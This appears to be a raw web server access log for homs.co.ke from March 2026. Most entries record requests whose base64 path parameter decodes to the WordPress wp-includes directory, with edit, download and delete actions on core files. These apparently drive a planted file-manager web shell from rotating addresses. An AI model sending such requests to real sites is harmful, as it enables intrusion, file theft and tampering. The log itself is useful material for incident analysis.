/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-walker-page-dropdown.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.166.129.247 - - [06/Mar/2026:09:37:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-walker-page-dropdown.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.135.142.37 - - [06/Mar/2026:09:44:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-walker-page.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 199.244.88.225 - - [06/Mar/2026:09:44:28 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.157.181.189 - - [06/Mar/2026:09:55:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-admin-bar.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.130.16.140 - - [06/Mar/2026:10:04:43 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-wp-admin-bar.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.1.69 - - [06/Mar/2026:10:14:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-ajax-response.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.180.184 - - [06/Mar/2026:10:18:54 -0700] "GET /?act=download&file=class-wp-html-active-formatting-elements.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.198 - - [06/Mar/2026:10:18:54 -0700] "GET /?act=edit&file=class-wp-network-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.221 - - [06/Mar/2026:10:18:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-tax-query.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.200 - - [06/Mar/2026:10:18:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BvbW8= HTTP/1.1" 200 5376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.71 - - [06/Mar/2026:10:18:54 -0700] "GET /?act=edit&file=class-wp-network-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 11073 "http://mail.homs.co.ke/?act=edit&file=class-wp-network-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.111 - - [06/Mar/2026:10:18:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.204 - - [06/Mar/2026:10:18:55 -0700] "GET /?act=download&file=class-wp-html-active-formatting-elements.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp HTTP/1.1" 200 4181 "http://mail.homs.co.ke/?act=download&file=class-wp-html-active-formatting-elements.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.131 - - [06/Mar/2026:10:18:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-tax-query.php HTTP/1.1" 200 11602 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.111 - - [06/Mar/2026:10:22:54 -0700] "GET /?act=download&file=class-wp-rest-post-format-search-handler.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL3NlYXJjaA== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.107 - - [06/Mar/2026:10:22:54 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class.wp-dependencies.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.30 - - [06/Mar/2026:10:22:54 -0700] "GET /?act=download&file=query-offset-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.105 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=download&file=rss.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.157 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=edit&file=feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.107 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=download&file=rss.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=rss.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.163.22.159 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=download&file=class-wp-recovery-mode.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.44 - - [06/Mar/2026:10:22:55 -0700] "GET /?del=class-wp-rest-post-meta-fields.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2ZpZWxkcw== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.106 - - [06/Mar/2026:10:22:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 200 4639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.67 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=download&file=query-offset-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "http://www.homs.co.ke/?act=download&file=query-offset-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.46 - - [06/Mar/2026:10:22:55 -0700] "GET /?act=download&file=class-wp-rest-post-format-search-handler.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL3NlYXJjaA== HTTP/1.1" 200 4257 "http://www.homs.co.ke/?act=download&file=class-wp-rest-post-format-search-handler.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL3NlYXJjaA==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.12 - - [06/Mar/2026:10:22:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class.wp-dependencies.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.136 - - [06/Mar/2026:10:22:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.100 - - [06/Mar/2026:10:22:56 -0700] "GET /?act=edit&file=feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 12991 "http://www.homs.co.ke/?act=edit&file=feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.58 - - [06/Mar/2026:10:22:56 -0700] "GET /?del=class-wp-rest-post-meta-fields.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2ZpZWxkcw== HTTP/1.1" 200 5312 "http://www.homs.co.ke/?del=class-wp-rest-post-meta-fields.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2ZpZWxkcw==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.224 - - [06/Mar/2026:10:22:56 -0700] "GET /?act=download&file=class-wp-recovery-mode.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-recovery-mode.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.173 - - [06/Mar/2026:10:22:58 -0700] "GET /?act=download&file=class-IXR-value.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.172 - - [06/Mar/2026:10:22:59 -0700] "GET /?act=download&file=class-IXR-value.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 4175 "http://www.homs.co.ke/?act=download&file=class-IXR-value.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.188 - - [06/Mar/2026:10:23:00 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=bookmark-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.178.30 - - [06/Mar/2026:10:23:01 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=bookmark-template.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.176.79 - - [06/Mar/2026:10:23:03 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=bookmark-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.77 - - [06/Mar/2026:10:24:58 -0700] "GET /?act=download&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.229 - - [06/Mar/2026:10:24:58 -0700] "GET /?del=class-IXR-error.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.106 - - [06/Mar/2026:10:24:58 -0700] "GET /?act=download&file=https-migration.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.56 - - [06/Mar/2026:10:24:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-http-streams.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.184 - - [06/Mar/2026:10:24:59 -0700] "GET /?del=class-IXR-error.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "http://www.homs.co.ke/?del=class-IXR-error.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.160 - - [06/Mar/2026:10:24:59 -0700] "GET /?act=download&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.162 - - [06/Mar/2026:10:24:59 -0700] "GET /?act=download&file=https-migration.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=https-migration.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.175 - - [06/Mar/2026:10:24:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-http-streams.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.54 - - [06/Mar/2026:10:25:06 -0700] "GET /?act=download&file=class-wp-paused-extensions-storage.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.13 - - [06/Mar/2026:10:25:07 -0700] "GET /?act=download&file=class-wp-paused-extensions-storage.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-paused-extensions-storage.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.16 - - [06/Mar/2026:11:08:31 -0700] "GET /?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.25 - - [06/Mar/2026:11:08:31 -0700] "GET /?act=edit&file=class-wp-user-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.184 - - [06/Mar/2026:11:08:31 -0700] "GET /?act=download&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.7 - - [06/Mar/2026:11:08:32 -0700] "GET /?act=download&file=class-wp-simplepie-sanitize-kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.176.31 - - [06/Mar/2026:11:08:32 -0700] "GET /?act=download&file=8ae&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 200 4198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.109 - - [06/Mar/2026:11:08:32 -0700] "GET /?act=edit&file=class-wp-user-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 17714 "http://mail.homs.co.ke/?act=edit&file=class-wp-user-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.130 - - [06/Mar/2026:11:08:32 -0700] "GET /?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=feed-atom-comments.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.33 - - [06/Mar/2026:11:08:33 -0700] "GET /?act=download&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.159 - - [06/Mar/2026:11:08:33 -0700] "GET /?act=download&file=class-wp-simplepie-sanitize-kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-simplepie-sanitize-kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 45.94.31.190 - - [06/Mar/2026:11:09:32 -0700] "HEAD / HTTP/1.1" 406 - "-" "python-requests/2.32.4" homs.co.ke 10.38.197.90 40.77.167.26 - - [06/Mar/2026:11:11:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=php-compat HTTP/1.1" 200 57649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.180.137 - - [06/Mar/2026:11:11:32 -0700] "GET /?act=edit&file=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.238 - - [06/Mar/2026:11:11:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-roles.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.3 - - [06/Mar/2026:11:11:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=widgets.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.24 - - [06/Mar/2026:11:11:33 -0700] "GET /?act=edit&file=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 200 7898 